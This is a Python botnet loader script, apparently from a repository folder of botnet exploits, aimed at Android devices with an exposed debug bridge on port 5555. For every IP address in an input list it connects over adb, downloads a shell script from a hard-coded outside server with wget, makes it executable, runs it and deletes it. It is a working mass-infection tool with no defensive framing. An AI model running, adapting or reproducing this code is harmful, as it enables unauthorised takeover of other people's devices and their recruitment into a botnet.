Path: blob/master/Botnets/Exploits/ADB-ANDROID/android.py
5038 views
import sys1import threading2import requests3import os4import socket5import time6from Queue import *7from threading import Thread89if len(sys.argv) < 3:10sys.exit("\033[37mUsage: python "+sys.argv[0]+" [list] [output]")1112ips = open(sys.argv[1], "r").readlines()13output = sys.argv[2]14queue = Queue()15queue_count = 01617info = open(str(sys.argv[1]),'a+')1819def rtek(ip):20ip = str(ip).rstrip("\n")21try:22adb = socket.socket()23adb.settimeout(5)24adb.connect((ip,5555))25os.system("echo "+ip+" >> "+output+"")26os.system("adb connect "+ip+"")27time.sleep(3);28os.system("adb -s "+ip+":5555 shell \"cd /data/local/tmp; wget http://178.128.244.61/a.sh; chmod 777 a.sh; sh a.sh; rm -rf a.sh\"")29adb.close()30except Exception:31adb.close()32pass333435def main():36global queue_count37for line in ips:38line = line.strip("\r")39line = line.strip("\n")40queue_count += 141sys.stdout.write("\r[%d] Added to queue" % (queue_count))42sys.stdout.flush()43queue.put(line)44sys.stdout.write("\n")45i = 046while i != queue_count:47i += 148try:49input = queue.get()50thread = Thread(target=rtek, args=(input,))51thread.start()52time.sleep(0.05)53except KeyboardInterrupt:54os.kill(os.getpid(), 9)55thread.join()56return575859if __name__ == "__main__":60main()6162